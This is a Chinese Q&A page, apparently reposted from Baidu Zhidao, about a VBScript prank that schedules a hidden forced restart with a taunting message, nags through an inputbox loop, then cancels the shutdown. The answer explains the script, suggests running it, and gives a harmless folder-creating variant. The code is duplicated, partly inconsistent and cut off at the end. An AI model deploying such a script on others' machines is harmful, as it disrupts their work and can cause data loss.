UC知道问下面VBScript 程序的具体功能
来源：百度知道 编辑：UC知道 时间：2024/05/30 19:18:13
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "猪是我")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "哼`现在说了也没用`"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，"
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "猪是我")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "哼`现在说了也没用`"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，"
呵呵,虽然代码有的地方还有错误,但这个的功能一看就不好,我就不运行了,大概功能应该是强迫你在提个文本框里输入"猪是我",如果你不照办,就调用"cmd.exe /c shutdown -r -t 60 -c"(一个DOS命令,60秒内关机).照办的话,它也会说你说晚了,总之是要关你机...
建个记事本保存成"整人.vbs"
双击运行,你就会体验到它的功能了
建议你运行前关闭所有正在运行的程序,保存你尚未保存的文件
或者你运行我修改过的这个模拟演示的代码:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c md d:\你将在60秒内被关机"
msgbox"说我是猪，不说我是猪就一分钟关你机，不信，试试···",0 ,"提示"
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "哼`现在说了也没用`"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c md d:\你被关机了&q